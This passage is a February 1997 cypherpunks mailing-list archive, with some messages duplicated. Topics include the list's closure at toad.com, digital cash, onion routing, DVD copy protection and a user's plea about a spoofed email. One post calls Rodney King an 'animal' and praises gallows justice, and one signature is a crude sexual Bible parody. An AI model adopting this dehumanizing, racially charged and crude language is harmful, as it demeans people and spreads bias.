analogy that it was me, since that is my effect on a lot of people, particularly (and especially) the John and Sandy types. From tcmay at got.net Wed Feb 19 15:28:17 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 19 Feb 1997 15:28:17 -0800 (PST) Subject: "Trial" In-Reply-To: <330B4030.36C0@turk.net> Message-ID: At 8:02 PM +0200 2/19/97, Shark wrote: >Trial OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people asking what the hell the vote is all about. Looks like there won't be a trial and we can move directly to the punishment. --Klaus! von Future Prime -- [This Bible excerpt awaiting review under the U.S. Communications Decency Act of 1996] And then Lot said, "I have some mighty fine young virgin daughters. Why don't you boys just come on in and fuck them right here in my house - I'll just watch!"....Later, up in the mountains, the younger daughter said: "Dad's getting old. I say we should fuck him before he's too old to fuck." So the two daughters got him drunk and screwed him all that night. Sure enough, Dad got them pregnant, and had an incestuous bastard son....Onan really hated the idea of doing his brother's wife and getting her pregnant while his brother got all the credit, so he pulled out before he came....Remember, it's not a good idea to have sex with your sister, your brother, your parents, your pet dog, or the farm animals, unless of course God tells you to. [excerpts from the Old Testament, Modern Vernacular Translation, TCM, 1996] From landon_dyer at wayfarer.com Wed Feb 19 15:29:15 1997 From: landon_dyer at wayfarer.com (Landon Dyer) Date: Wed, 19 Feb 1997 15:29:15 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: <199702192329.PAA01842@toad.com> At 09:53 AM 2/19/97 -0500, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >azur at netcom.com (Steve Schear) writes: >> Has anyone seen discussions on how these protection mechanisms can be >> circumvented? > >Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to >cripple any copies it makes. Of course, it's all software, so if some >EVIL person were to write a driver that did not honor the "don't copy >me" header ... i can confirm this. i recently talked to an employee of a firm [who i won't name] that was looking for some kind of shrouding scheme to protect their copy-protection enforcement code, under W95. [he knows the effort is ultimately doomed. he *is* a user of SoftICE, after all... :-) ] quotable quotes: "we know someone's going to have their scheme cracked. all we care about is that ours isn't the first." "i can't tell you the [encryption] algorithm, because that would let you break it. yes, the security is in the algorithm." where does hollywood get its crypto? mattel? -landon [back to lurk mode...] From attila at PrimeNet.Com Wed Feb 19 15:31:18 1997 From: attila at PrimeNet.Com (Attila T. Hun) Date: Wed, 19 Feb 1997 15:31:18 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <199702192331.PAA01896@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Come on, Bob. Quit rubbing it in about that clear blue water, the tropical temperatures and high horsepower speakers. -attila on or about 970219:0704 Robert Hettinga said: +At 8:29 pm -0500 on 2/18/97, ! Drive wrote: +> A proposal and prototype of a different anonymity mechanism can be found at: +> http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html +And, of course, you can hear about the next generation from the same +bunch, on Monday morning at FC97: + Unlinkable Serial Transactions + Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), + Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), + David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) +:-). + Cheers, Bob Hettinga _____________________________________________________________________ Surveilence is just another form of entertainment. ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwtHW704kQrCC2kFAQF71QQAx/ai6PvbLHETVNLHQJ78XIIgkPBLflbO 4LfcHeA/m5WSq+kK8GNbSsMq+7Bcfpw+iELlPUhbU671oecayfyJj1C/Irwr2pXF dgNniD/2s0QnhDGEuHDbFtjkeIiSV70ED9+TO+osLG/fQIigV0jeIFPeh9D0Ri/z FueZ3HRx784= =Dtbl -----END PGP SIGNATURE----- From rah at shipwright.com Wed Feb 19 15:43:03 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 15:43:03 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: <199702192343.PAA02063@toad.com> "...long live cypherpunks?" "So long, and thanks for all the fish?" But, seriously, folks... Lucky Green echoed many of my own thoughts when he talked about all the things being on this list has meant to him. Like Lucky, there is a rediculously huge list of things that this list has taught me over the almost three (wow..) years or so that I've been here. Thanks to all of you here, I have had nothing short of a Copernican transformation in my perception of the universe, and it completely changed what I wanted to do with the rest of my life. From the very first time I started reading this list and applying what I learned here to what I already knew, right then, for the first time in a *very* long time, I knew *exactly* how some very important pieces of the world actually worked, and more important, why they were going to change. I now *know* where the world is going to go. Maybe not when, of course, but certainly where and how. :-) (Old stock picker's joke: "I can tell you what. I can tell you when. I can't tell you both. If I did, I wouldn't tell *you*.") Anyway, I've learned all these things from many cypherpunks, some still here, and a lot who've left. I expect that, as we move into the next phase of this "group", we'll continue to teach ourselves much more about the world and strong cryptography's effect on it. But, nothing will compare to the feeling we'll get when we remember the time we've spent here at Toad Hall. We have John Gilmore to thank for the "lodgings", of course, and, certainly, for his encouragement and support. And, obviously, his tolerance, which finally sagged and broke under the weight of both his expectations and those of our own. We also have to thank Tim May for his um, ideological, presence on this list from since before it existed, :-), and, or course, for his current "leadership", both moral and political. (Of course, I can say all the next few wierd and gushy things about him without fear of refutation on his part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who was our compass. It was Tim who came down from the mountain and stopped us from worshiping the fatted calf of censorship, and who is now leading us into the promised land of unfettered discourse, both on usenet and on the new cypherpunk server network. Since Tim paper-trained most of us here (myself included, though some may debate how well he succeeded :-)), that is, how to behave on this list, and, most important, how to imagine what a world of strong crytography on ubiquitous networks would look like, I now find his "leading" us out onto the net, and away from Sinai, most symmetrical indeed. :-). And so, in this last 24 hours or so on toad.com, I want to thank *both* Tim and John. But, also, I personally want to thank the "money-punks". People like Eric Hughes, and Perry Metzger, and Ian Goldberg, and Hal Finney, and Lucky Green, and Duncan Frissell, and Black Unicorn, and many, many other people, who have helped me work through, on this list, or in private e-mail, or, occasionally, in person, all of the stuff they know, and the stuff I have figured out myself. All about e$, about digital bearer certificate markets, about microintermediation. All the things which completely occupy almost all my waking thoughts these days. Because of this list's effect on my life, I have been motivated to start the Digital Commerce Society of Boston, to evangelize financial cryptography to any audience who would listen to me, to create a web site dedicated to e$, to create a group of e$ lists with some 300 total subscribers, to work with Vinnie Moscaritolo to create both the Mac-Crypto lists and conferences, to work with Vince Cate and Ray Hirschfeld to create the world's first peer-reviewed conference on financial cryptography, and with Vince and Ian Goldberg to create the world's first intensive financial cryptography bootcamp (which is going on as I write this). To create, with Vinnie, and Rachel Wilmer, and Anthony Templer, and Bob Antia, and Rodney Thayer, the next generation of the e$ website and mailing lists. Next week, I go to FC97 in Anguilla because of the things I've learned on this list. In the middle of March, I go to Cupertino to help Vinnie with Mac-Crypto 2.0, because of the things I've learned on this list. I've been invited to speak all over the world (and New Hampshire, too :-)) to talk about this stuff. I get quoted in the newspapers. I write magazine op-ed pieces. It has even earned me a buck or two. :-). In short, I owe everything I do of any consequence these days to my participation on this list, and, for that, I'm profoundly grateful to all of you for the privelege of being here: to listen, to learn, and, occasionally, to pay back all the stuff I've learned with a thing or two that I've worked out myself. Like that creosote bush I talked about before, cypherpunks is not going to die just because the address "cypherpunks at toad.com" ceases to exist. There are already 3rd-order cypherpunks lists out there. 3rd generation copies of the same "memetic" material. cypherpunks will *never* die, short of a cybernetic Chixalub event of some kind, and, frankly, even then. The internet sees censorship as damage and routes around it. So. In a very real sense, today on cypherpunks is like any other day in the life of a creosote bush. It's a big desert, folks. We're the only ones who know how to live out here. The whole damn desert, as far as the eye can see, is ours to move into. All we have to do is keep filling in the empty spots... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From attila at primenet.com Wed Feb 19 15:43:30 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 19 Feb 1997 15:43:30 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702192343.PAA02079@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970219:0722 Dale Thorn said: +Simple, but.... In a right to jury trial of peers, are the peers the +peers of the defendant or the peers of the victim? Both the Rodney +King officers and the O.J. cases were perfect examples of how, when you +switch the peer groups, you reverse the decisions. you trying to be some kind of trouble maker? please remember that *all* the fairweather dogooder liberals have been telling us for years that everyone is equal. yeah, right! therefore, juries are obviously color blind, and not dazzled by attorneys calling up racism. yeah, right! as to Powell, he is/was an animal who should have been put away permanently. Koon was an officer's officer (personal experience) and was in the wrong place at the wrong time, not willing to step in. Koon lost 24 years of service without a mark, his pension, and all his benefits with 5 or 6 kids at home --and they had to go into hiding until found by the liberal press again and again who obviously felt the family should be punished as well. we wont even bother with the issues of double jeopardy when they pull a federal civil rights trial on all of them after the state court cleared everyone except Powell who they hung on. they had a clear right to try Powell, noone else. and the video played for evidence missed the first 90 seconds when a very large animal (Rodney King can be described no other way) came out of the car, dancing the jig, and went after Powell. by the time the prosecutors, particularly the Feds, were through itimidating the witnesses, nobody told the truth. Rodney King had been busted for public intoxication, controlled substances, and disorder enough times that he was well recognized for what he was --and easily identified. in the spooks, we called Powell's actions "the red mask" --once you start staring the beast in the eye, you are so wired on there is no stopping until your opponent is jello. 'shocktroops' or 'Stossentruppen' should never be used in civilian police forces, except possibily on SWAT teams, not an average street cop. and why did we have the trial in the first place? simply because the LA Times and KABC decided there was going to be a trial. I dont know whether to chalk it off to their bleeding heart liberals, or just the usual greed for money to be made on high profile news. or is it just more of the usual politically correct beat down of the oppressive whiteface? it is sometimes difficult to defend the LA Police department when you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of them are cowboys; Big Ed is now a state senator from the far west Valley, what was horse country when I lived there. they had a job to do, and LA is a mean place. the city itself is 2/3 poverty, half of that extreme ghetto and barrio problems. Big Ed is the man who proposed the fitting ending to airline hijackings, and set up his display in plain sight: in front of the American Airlines terminal building 4 at LAX before LAX was double decked. Big Ed parked a 40 ft flat bed trailer out there with a judge's bench at one end and a gallows at the other end with the jury box and dock in between. yes, sir, justice by the hijackers' peers; take the next 12 citizens coming out the doors. perfect and swift justice on someone who has no defense for his actions. everything else falls under this short take by a prominent author discussing the problem with jury selection: "The men who murdered Virginia's [Nevada] original twenty-six cemetary occupants were never punished. Why? Because Alfred the Great, when he invented trial by jury, and knew that he had admirably framed it to secure justice in his age of the world, was not aware that in the nineteenth century the condition of things would be so entirely changed that unless he rose from the grave and altered the jury plan to meet the emergency, it would prove the most ingenious and infallible agency for defeating justice that human wisdom could contrive. For how could he imagine that we simpletons would go on using his jury plan after circumstances had stripped it of its usefulness, any more than he could imagine that we would go not using his candle clock after we had invented chronometers? In his day news could not travel fast, and hence he could easily find a jury of honest, intelligent men who had not heard of the case they were called to try - but in our day of telegraph and newspapers his plan compels us to swear in juries composed of fools and rascals, because the system rigidly excludes honest men and men of brains. "I remember one of those sorrowful farces, in Virginia, which we call a jury trial. A noted desperado killed Mr. B, a good citizen, in the most wanton and cold-blooded way. Of course the papers were full of it, and all men capable of reading read about it. And of course all men not deaf and dumb and idiotic talked about it. A jury list was made out, and Mr. B. L., a prominent banker and a valued citizen, was questioned precisely as he would have been questioned in any court in America: "`Have you heard of this homicide?' "`Yes.' "`Have you held conversations on the subject?' "`Yes.' "`Have you formed or expressed opinions about it?' "`Yes.' "`Have you read newspaper accounts of it?' "`Yes.' "`We do not want you.' "A minister, intelligent, esteemed, and greatly respected; a merchant of high character and known probity; a mining superintendent of intelligence and unblemished reputation; a quartz-mill owner of excellent standing, were all questioned in the same way, and all set aside. Each said the public talk and the newspaper reports had not so biased his mind but that sworn testimony would overthrow his previously formed opinions and enable him to render a verdict without prejudice and in accordance with the facts. But of course such men could not be trusted with the case. Ignoramuses alone could mete out unsullied justice. "When the peremptory challenges were all exhausted, a jury of twelve men was empaneled - a jury who swore they had neither heard, read, talked about, nor expressed an opinion concerning a murder which the very cattle in the corrals, the Indians in the sagebrush, and the stones in the streets were cognizant of! It was a jury composed of two desperadoes, two low beerhouse politicians, three barkeepers, two ranchers who could not read, and three dull, stupid, human donkeys! It actually came out afterward that one of these latter thought that incest and arson were the same thing. "The verdict rendered by this jury was, Not Guilty. What else could one expect? "The jury system puts a ban upon intelligence and honesty, and a premium upon ignorance, stupidity, and perjury. It is a shame that we must continue to use a worthless system because it was good a thousand years ago. In this age, when a gentleman of high social standing, intelligence, and probity swears that the testimony given under solemn oath will outweigh, with him, street talk and newspaper reports based on mere hearsay, he is worth a hundred jurymen who will swear to their own ignorance and stupidity, and justice would be far safer in his hands than theirs. Why could not the jury law be so altered as to give men of brains and honesty an equal chance with fools and miscreants? Is it right to show the present favoritism to one class of men and inflict a disability on another, in a land whose boast is that all its citizens are free and equal? I am a candidate for the legislature. I desire to tamper with the jury law. I wish to so alter it as to put a premium on intelligence and character, and close the jury box against idiots, blacklegs, and people who do not read newspapers. But no doubt I shall be defeated - every effort I make to save the country `misses fire.'" --From "Roughing It" by Mark Twain, Chapter XLVIII. _____________________________________________________________________ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwtSiL04kQrCC2kFAQEmrwQAylLGuPHBNqeVij2ll7bnuK2Qn3CCZFTF 0unEYtmWcDxV5YxwyYVVntpujuF0j38/A3XBKKOwkfqt2QibRIKsBq7lkkWjIQvl re2y0q3XE6+/+Iw9gQbeNv2jEBH1fofIOLCKgAOYonjl+TXCMOJC8kJKszmr+QGr uk0yviRPO5c= =wRK0 -----END PGP SIGNATURE----- From rah at shipwright.com Wed Feb 19 15:47:41 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 15:47:41 -0800 (PST) Subject: Mobil adopts no-physical-connection electronic payment token Message-ID: <199702192347.PAA02130@toad.com> --- begin forwarded text Date: Wed, 19 Feb 1997 12:01:14 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: Mobil adopts no-physical-connection electronic payment token X-orig-from: "Travis J.I. Corcoran" X-e$pam-source: bounce-dcsb at ai.mit.edu Forwarded by Robert Hettinga ----------------------------------------------------------------------- Date: Wed, 19 Feb 1997 09:02:14 -0500 From: "Travis J.I. Corcoran" To: dcsb at ai.mit.edu Subject: Mobil adopts no-physical-connection electronic payment token Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: "Travis J.I. Corcoran" FYI, from today's WSJ: ------------------------------ snip! ------------------------------ Mobil Aims to Turn Gas Pumps Into Automatic-Payment Sites By PETER FRITSCH Staff Reporter of THE WALL STREET JOURNAL Mobil Corp. hopes to make life in the fast lane a little bit faster. The oil company will introduce Wednesday a miniature electronic-payment device that busy motorists can simply wave at a gasoline pump to fill 'er up. The tiny electronic tag -- called a Speedpass -- clips onto a driver's key ring. Mobil is betting the technology will catch on with drivers tired of fumbling for cash or waiting for a pump to authorize a credit-card purchase. Whether drivers are in such a hurry that they will be interested is an open question. "My key chain already looks like a janitor's," says Carol Coale, a Houston securities analyst. Mobil, which tested the Speedpass over the past six months with 10,000 consumers in St. Louis, says the added convenience can save the motorist valuable time. Mobil's technology, developed in partnership with Texas Instruments Inc. and Dresser Industries Inc., is similar to that used by drivers at bridge and highway toll booths. Once a driver waves the tag at the pump, the pump instantly contacts Mobil's credit department and charges a credit card preselected by the customer. The marketing effort challenges the conventional wisdom of gasoline retailing. Most drivers say location is more important when the gasoline gauge reads "empty" than brand name or price. Mobil's thinking is that the gee-whiz factor of owning the Speedpass, combined with the convenience, will persuade people to go an extra mile to buy from one of Mobil's 7,700 branded stations. Speedpass is also an attempt to help Mobil build on its position as the nation's top gasoline seller. With a 9.9% share of the market, Mobil in 1995 overtook Shell Oil Co. as the leading gasoline seller, as measured in gallons sold. (Figures for 1996 aren't available.) Mobil, which was among the first oil companies to use pay-at-the-pump technology, will introduce Speedpass in key markets by May 1. ------------------------------ snip! ------------------------------ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From tcmay at got.net Wed Feb 19 15:51:43 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 19 Feb 1997 15:51:43 -0800 (PST) Subject: "cypherpunks is dead..." In-Reply-To: Message-ID: At 3:37 PM -0500 2/19/97, Robert Hettinga wrote: >We also have to thank Tim May for his um, ideological, presence on this >list from since before it existed, :-), and, or course, for his current >"leadership", both moral and political. (Of course, I can say all the next >few wierd and gushy things about him without fear of refutation on his >part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who No, Bob, I actually took you out of my filter file (Eudora's killfile) a while back. It is true that I don't like your style, your writing style, that is. Some say I am overly sensitive to style issues...probably so. I find most modern cyber-journalism unreadable, with the hipper-than-thou "street cred" lingo and the obfuscatory purple prose. I find reading the straight-shooting words of even my ideological opponents (or opponents in some areas) far easier than reading the neo-journalistic hype some of my ideological fellow-travellers use. Nothing personal. >was our compass. It was Tim who came down from the mountain and stopped us >from worshiping the fatted calf of censorship, and who is now leading us >into the promised land of unfettered discourse, both on usenet and on the >new cypherpunk server network. Since Tim paper-trained most of us here >(myself included, though some may debate how well he succeeded :-)), that >is, how to behave on this list, and, most important, how to imagine what a >world of strong crytography on ubiquitous networks would look like, I now >find his "leading" us out onto the net, and away from Sinai, most >symmetrical indeed. :-). Well, I guess I have to say "Indeed." (Though I don't claim to be leading anyone, especially not off the list. After several weeks of saying nothing, I outlined my reasons for disliking the censorship move...reasons that had also been made by many other folks. Anyway, Adam Back's summary of events is pretty close to the mark.) The vision of where the world is headed, noted by Bob, has been clear to many of us for many years. When I first read about public key systems, circa 1977, I got an inkling. When I read Chaum's paper on untraceable digital cash, circa 1986, things got clearer. And when I evaluated the business plan of Phil Salin for his company, American Information Exchange, in 1987, everything fell into place. My role with him was to suggest how cryptographic protocols, including digital cash, would open up information markets. His company eventually got some funding, but failed. This company was several years too early, as it presaged many aspects of the Web (and, not coincidentally, its "sister company" was Xanadu, which even more clearly presaged the Web--indeed, Ted Nelson was the godfather of the Web. Anyway, by mid-1988, I wrote and distributed "the Crypto Anarchist Manifesto," which, to my surprise and satisfaction, basically anticipated all of the things now being done on Cypherpunks and elsewhere (anonymous remailers, message pools, steganography, BlackNet types of markets, ubiquitous crypto, etc.). The missing piece, digital cash, is a hard nut to crack...sure, it exists (Mark Twain Bank, DigiCash, etc.), but it's hard to get robust versions deployed and used. (Getting PGP integrated into mailers is stil bogged down, for reasons I have to believe have to do with pressures from somewhere, else why would e-mail packages not make PGP support painless?) I agree with Bob and others that the Cypherpunks are in no danger of dying out. Things are just about to get a lot more interesting. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at replay.com Wed Feb 19 16:53:48 1997 From: nobody at replay.com (Name Withheld by Request) Date: Wed, 19 Feb 1997 16:53:48 -0800 (PST) Subject: It's time to move on, kids. Message-ID: <199702192325.AAA15073@basement.replay.com> As of 2/14/97 there are 1295 subscribers to the cypherpunks mailing list. 85 of those subscriptions are to other mail-exploders. Smoke 'em if you got 'em. -Golem From nobody at replay.com Wed Feb 19 17:57:54 1997 From: nobody at replay.com (Name Withheld by Request) Date: Wed, 19 Feb 1997 17:57:54 -0800 (PST) Subject: Detweiler trolls^Wrides again Message-ID: <199702200025.BAA25036@basement.replay.com> On Fri, 14 Feb 1997, Vladimir Z. Nuri wrote: > Date: Fri, 14 Feb 97 12:57:17 -0800 > From: "Vladimir Z. Nuri" > To: Tim May > Cc: cypherpunks at toad.com > Subject: Re: Keep it Simple and the Cypherpunk Way > > > what TCM continues to stick his head in the sand over > > > timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing a troll From nobody at replay.com Wed Feb 19 18:11:04 1997 From: nobody at replay.com (Name Withheld by Request) Date: Wed, 19 Feb 1997 18:11:04 -0800 (PST) Subject: It's time to move on, kids. Message-ID: <199702200211.SAA03937@toad.com> As of 2/14/97 there are 1295 subscribers to the cypherpunks mailing list. 85 of those subscriptions are to other mail-exploders. Smoke 'em if you got 'em. -Golem From nobody at replay.com Wed Feb 19 18:11:06 1997 From: nobody at replay.com (Name Withheld by Request) Date: Wed, 19 Feb 1997 18:11:06 -0800 (PST) Subject: Detweiler trolls^Wrides again Message-ID: <199702200211.SAA03938@toad.com> On Fri, 14 Feb 1997, Vladimir Z. Nuri wrote: > Date: Fri, 14 Feb 97 12:57:17 -0800 > From: "Vladimir Z. Nuri" > To: Tim May > Cc: cypherpunks at toad.com > Subject: Re: Keep it Simple and the Cypherpunk Way > > > what TCM continues to stick his head in the sand over > > > timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing a troll From tcmay at got.net Wed Feb 19 18:13:06 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 19 Feb 1997 18:13:06 -0800 (PST) Subject: "Trial" Message-ID: <199702200213.SAA04001@toad.com> At 8:02 PM +0200 2/19/97, Shark wrote: >Trial OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people asking what the hell the vote is all about. Looks like there won't be a trial and we can move directly to the punishment. --Klaus! von Future Prime -- [This Bible excerpt awaiting review under the U.S. Communications Decency Act of 1996] And then Lot said, "I have some mighty fine young virgin daughters. Why don't you boys just come on in and fuck them right here in my house - I'll just watch!"....Later, up in the mountains, the younger daughter said: "Dad's getting old. I say we should fuck him before he's too old to fuck." So the two daughters got him drunk and screwed him all that night. Sure enough, Dad got them pregnant, and had an incestuous bastard son....Onan really hated the idea of doing his brother's wife and getting her pregnant while his brother got all the credit, so he pulled out before he came....Remember, it's not a good idea to have sex with your sister, your brother, your parents, your pet dog, or the farm animals, unless of course God tells you to. [excerpts from the Old Testament, Modern Vernacular Translation, TCM, 1996] From tcmay at got.net Wed Feb 19 18:14:15 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 19 Feb 1997 18:14:15 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: <199702200214.SAA04018@toad.com> At 3:37 PM -0500 2/19/97, Robert Hettinga wrote: >We also have to thank Tim May for his um, ideological, presence on this >list from since before it existed, :-), and, or course, for his current >"leadership", both moral and political. (Of course, I can say all the next >few wierd and gushy things about him without fear of refutation on his >part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who No, Bob, I actually took you out of my filter file (Eudora's killfile) a while back. It is true that I don't like your style, your writing style, that is. Some say I am overly sensitive to style issues...probably so. I find most modern cyber-journalism unreadable, with the hipper-than-thou "street cred" lingo and the obfuscatory purple prose. I find reading the straight-shooting words of even my ideological opponents (or opponents in some areas) far easier than reading the neo-journalistic hype some of my ideological fellow-travellers use. Nothing personal. >was our compass. It was Tim who came down from the mountain and stopped us >from worshiping the fatted calf of censorship, and who is now leading us >into the promised land of unfettered discourse, both on usenet and on the >new cypherpunk server network. Since Tim paper-trained most of us here >(myself included, though some may debate how well he succeeded :-)), that >is, how to behave on this list, and, most important, how to imagine what a >world of strong crytography on ubiquitous networks would look like, I now >find his "leading" us out onto the net, and away from Sinai, most >symmetrical indeed. :-). Well, I guess I have to say "Indeed." (Though I don't claim to be leading anyone, especially not off the list. After several weeks of saying nothing, I outlined my reasons for disliking the censorship move...reasons that had also been made by many other folks. Anyway, Adam Back's summary of events is pretty close to the mark.) The vision of where the world is headed, noted by Bob, has been clear to many of us for many years. When I first read about public key systems, circa 1977, I got an inkling. When I read Chaum's paper on untraceable digital cash, circa 1986, things got clearer. And when I evaluated the business plan of Phil Salin for his company, American Information Exchange, in 1987, everything fell into place. My role with him was to suggest how cryptographic protocols, including digital cash, would open up information markets. His company eventually got some funding, but failed. This company was several years too early, as it presaged many aspects of the Web (and, not coincidentally, its "sister company" was Xanadu, which even more clearly presaged the Web--indeed, Ted Nelson was the godfather of the Web. Anyway, by mid-1988, I wrote and distributed "the Crypto Anarchist Manifesto," which, to my surprise and satisfaction, basically anticipated all of the things now being done on Cypherpunks and elsewhere (anonymous remailers, message pools, steganography, BlackNet types of markets, ubiquitous crypto, etc.). The missing piece, digital cash, is a hard nut to crack...sure, it exists (Mark Twain Bank, DigiCash, etc.), but it's hard to get robust versions deployed and used. (Getting PGP integrated into mailers is stil bogged down, for reasons I have to believe have to do with pressures from somewhere, else why would e-mail packages not make PGP support painless?) I agree with Bob and others that the Cypherpunks are in no danger of dying out. Things are just about to get a lot more interesting. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From take at barrier-free.co.jp Wed Feb 19 18:56:11 1997 From: take at barrier-free.co.jp (Hayashi_Tsuyoshi) Date: Wed, 19 Feb 1997 18:56:11 -0800 (PST) Subject: "cypherpunks is dead..." In-Reply-To: <199702192343.PAA02063@toad.com> Message-ID: <199702200255.LAA07813@ns.barrier-free.co.jp> Dear Mr. Robert Hettinga, This is Tsuyoshi Hayashi, one of subscribers of the cypherpunks list, lives in Yokohama, Japan. I heard today's your voice on the cypherpunks list. I am little sad. I am almost ROM, read-only member... Although I have been hear for two and a half (wow..) years, I posted only three (or four...) messages. I am a bad boy. Sorry. > all Instead of it, I have gotten many many cripto-concerned info (such as PGP) which are worth reading (though they are very difficult for me, both technical and language ;-). Today I know about cryptography a little. I am working nearby the cryptographic field in Japan. So I DO want to say THANKS to all subscribers of the list and the owner-cypherpunks at toad.com, and the host machine named toad.com [140.174.2.1]. On Wed, 19 Feb 1997 15:37:08 -0500, Robert Hettinga said: >Anyway, I've learned all these things from many cypherpunks, some still Yes, me too! >Because of this list's effect on my life, I have been motivated to start >the Digital Commerce Society of Boston, to evangelize financial [..] I found your DCSB list out about a month ago. This list is also interesting for me. Thanks. >Next week, I go to FC97 in Anguilla because of the things I've learned on [..] I did want to go to FC97, but there is a long distance between Anguilla and Japan... I hope you will post the summary and/or topics of FC97 to the DCSB. :-) >[..] cypherpunks is not going to >die just because the address "cypherpunks at toad.com" ceases to exist. There Yah! >So. In a very real sense, today on cypherpunks is like any other day in the >life of a creosote bush. It's a big desert, folks. We're the only ones who # Sorry. Although there are both "creosote" and "bush" in # my English-Japanese dictionary, I could not understand # the meaning of "creosote bush". Please teach me it in # other easy words if you have a time. In English is OK. # In Japanese is the best. ;-) ==== Mr. Bob Hettinga and all, doumo arigatou gozaimashita! # And sorry for my poor English. In a "Roman Holiday", Audrey Hepburn said, "By all means, Roman..." Today I say, "By all means, Cypherpunks..." Best, - Tsuyoshi Hayashi - PGP public key: http://www.barrier-free.co.jp/take/pgpkey - (CF 27 34 5B 46 FA 2A 12 D2 4C E3 F7 2A 45 E0 22) - Barrier Free, Inc. (established on 25 Jan 1996) From eiwasaki at gol.com Wed Feb 19 19:41:19 1997 From: eiwasaki at gol.com (Ellen Iwasaki) Date: Wed, 19 Feb 1997 19:41:19 -0800 (PST) Subject: security breached by NaughtyRobot Message-ID: <199702200340.MAA04535@gol1.gol.com> HELP! Can anyone tell me what this message is that I received in my mail today? Is it real? Should I do as it suggests? I have used the Internet once to purchase some books? Was my credit card number stolen in the process? How did this happen and how will it affect me? What should I do? PLEASE ADVISE ASAP! Thank you for your help Ellen Iwasaki Kumamoto, Japan > From: eiwasaki at gol.com > Date: Wed, 19 Feb 97 02:27 CST > Apparently-From: eiwasaki at gol.com > Apparently-To: eiwasaki at gol.com > Reply-to: eiwasaki at gol.com > Registered-mail-reply-requested-by: eiwasaki at gol.com > Sensitivity: PERSONAL-CONFIDENTIAL > Precedence: EMERGENCY > Priority: URGENT > Comment: Authenticated sender is > Organization: NaughtyRobot > Subject: security breached by NaughtyRobot > > This message was 